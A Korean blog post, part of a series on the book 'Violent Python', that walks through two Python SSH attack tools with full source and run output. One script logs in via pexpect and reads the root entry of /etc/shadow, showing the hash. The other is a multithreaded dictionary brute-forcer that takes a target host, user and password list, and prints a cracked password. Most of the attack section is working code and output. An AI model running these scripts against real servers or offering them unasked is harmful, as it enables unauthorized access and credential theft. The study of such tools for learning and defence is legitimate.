출처: http://noplanlife.com/?p=763
지난 포스팅 보러가기
치명적 파이썬 (Violent Python) – 0x01 Zip파일크래커
치명적 파이썬 (Violent Python) – 0x02 포트스캐너
이번 포스팅에서는 챕터 2에서 다룬 SSH 공격 도구를 다룰 예정이다.
먼저 포스팅을 시작하기 전에 한가지 짚고 넘어갈 문제가 있는데…
책에 나온 코드들의 indent가 한마디로 “개판 5분전” 이라는 것이다.
파이썬은 다른 언어와 달리 ‘줄맞춤’을 통해 각 문장의 시작과 끝을 구분하는데
책에 있는 코드 그대로 따라했다가는 에러메시지 붙잡고 허송세월 날릴 수 있으므로,
pycharm 에서 제공하는 Code Inspector 와 같은 도구를 통해 오류를 잡아가기 바란다.
(아니면 아래 코드를 참고해도 좋다)
먼저 첫번째는 pexpect 라이브러리를 활용하여 SSH 서버에 접속하는 방법이다.
pexpect를 통한 SSH 서버 접속
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | __author__ = 'root' # -*- coding: utf-8 import pexpect PROMPT = ['# ', '>>> ', '> ', '\$ '] def Send_Commnad(child, cmd): child.sendline(cmd) child.expect(PROMPT) print child.before def Connect(user, host, password): ssh_newkey = 'Are you sure you want to continue connecting' connStr = 'ssh '+user+'@'+host child = pexpect.spawn(connStr) ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:']) # Resonse Conditions.... if ret == 0: print ("[-] Error Connection to SSH Server \n") return if ret == 1: child.sendline('yes') ret = child.expect([pexpect.TIMEOUT, '[P|p]assword']) if ret == 0: print ("[-] Error Connection to SSH Server \n") return child.sendline(password) child.expect(PROMPT) return child def main(): host = '127.0.0.1' user = 'root' password = '1234' child = Connect(user, host, password) Send_Commnad(child, 'cat /etc/shadow | grep root') if __name__ == '__main__': main() |
pexpext는 리눅스 계열 운영체제에서만 동작하며, pip 를 통해 설치할 수 있다.
상세한 설명은 http://pexpect.readthedocs.org/en/latest/ 을 참고하기 바란다.
| pip install pexpect or easy_install pexpect |
pexpect는 어떤 프로그램에 대한 응답값(키워드, 프롬프트 등)을 미리 지정해준 뒤
해당 조건에 부합되는 경우 직접 명령어를 전송할 수 있는 라이브러리 이다.
선언할때는 spawn() 메서드를 호출하며, 이 때 파라미터로 호출하고자 하는 내용을 넣어주면 된다.
다음으로 변수를 하나 선언한 후, expect메서드에 프로그램 실행시 예상되는 키워드 값들을 넣어주면 되는데,
이 때, 매칭되는 값이 있으면 1, 없으면 0 값을 반환하게 된다.
| child = pexpect.spawn(connStr) ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:']) |
위와 같이 expexet 메서드에 타임아웃 메시지, ssh_newkey 스트링, 혹은 ‘password’라는 문자를
리스트 형태로 넣어주게 되면, 셋 중 하나라도 부합되면 1값을 반환하게 된다.
실행 결과
아래는 전체 코드를 실행한 결과이다. 아주 깨끗하게 shadow파일의 root영역을 가져왔다.
| root@kali:~/PycharmProjects/Violent_Python# python SSH_Botnet_Attacker.py cat /etc/shadow | grep root root:$6$rBcLtv/V$4mFr4q6nnjw7uakb7lrOTy3.kzOjAav2VOHFRtaXXXXadmbpiqMMIffmeUfljNqhXfGI6gZQ1hJWzXaY4zSQ3/:16209:0:99999:7::: root@kali:~ root@kali:~/PycharmProjects/Violent_Python# |
좀 더 간단하게 – SSH Brutu Forcing –
pexpcet의 경우 Prompt 라던가 접속 관련 함수를 만들어줘야 하는 번거로움이 있는데
pxssh 라이브러리를 활용하면 이러한 부분을 간단하게 해결할 수 있다.
지난 시간에 다루었던 딕셔너리 파일을 이용한 Brute Forcing 기법을 접목하여,
패스워드를 모르는 SSH 서버를 공격해보자.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 | __author__ = 'root' import pxssh import optparse import time from threading import * maxConnections = 5 connection_lock = BoundedSemaphore(value=maxConnections) Found = False Fails = 0 def Connect(host, user, password, release): global Found global Fails try: s = pxssh.pxssh() s.login(host, user, password) print "[+] Password Found : " + password Found = True except Exception, e: if 'read_nonblocking' in str(e): Fails += 1 time.sleep(5) Connect(host, user, password, False) elif 'synchronize with original prompt' in str(e): time.sleep(1) Connect(host, user, password, False) finally: if release: connection_lock.release() def main(): parser = optparse.OptionParser(usage='-H <TargetHost> -u <User> -F <PasswordList>') parser.add_option('-H', dest = 'TargetHost', type = 'string' , help ='Specify Target Host') parser.add_option('-u', dest = 'username', type = 'string' , help ='Specify Target Host') parser.add_option('-F', dest = 'passFile', type = 'string' , help ='Specify Target Host') (options, args) = parser.parse_args() host = options.TargetHost username = options.username passFile = options.passFile if host == None or passFile == None or username == None: print parser.usage exit(0) fn = open(passFile, 'r') for line in fn.readlines(): if Found: print "[*] Exiting : password found" exit(0) if Fails > 5: print "[!] Exiting : Too many Socket Timeouts" exit(0) connection_lock.acquire() password = line.strip('\r').strip('\n') print "[-] Testing : " + str(password) t = Thread(target = Connect, args = (host, username, password, True)) child = t.start() if __name__ == '__main__': main() |
큰 틀안에서 보면 달라진 부분은 많지 않다.
먼저 Optparse를 통해 호스트 네임과 사용자 이름, 그리고 딕셔너리 파일을 입력받는다.
그 후 pxssh 라이브러리를 통해 ssh에 서버에 접속하여 임의의 패스워드를 입력한다.
패스워드를 찾는데 성공하면 값을 출력하고, 접속에 실패하면 메시지에 따라 에러를 핸들링한다.
접속 에러가 너무 많이 발생하는 경우에는 프로그램을 종료하게 되어있다.
실행 결과
| root@kali:~/PycharmProjects/Violent_Python# python ssh_brute.py -H 127.0.0.1 -u root -F dictionary.txt [-] Testing : aaa [-] Testing : bbb [-] Testing : ccc [-] Testing : ddd [-] Testing : 1234 [-] Testing : 123456 [-] Testing : test [-] Testing : admin [-] Testing : root [+] Password Found : 123456 root@kali:~/PycharmProjects/Violent_Python# |
사실 칼리나 백트랙과 같은 도구에서 비슷한 방식의 도구들을 이미 제공하고 있기 때문에,
만들어서 쓰는게 크게 의미가 없을 수도 있겠지만, colorama 등의 추가 라이브러리르 사용한다면
결과 값을 사용자 입맞에 맞게 커스터파이징 하는 재미가 있을것으로 보인다.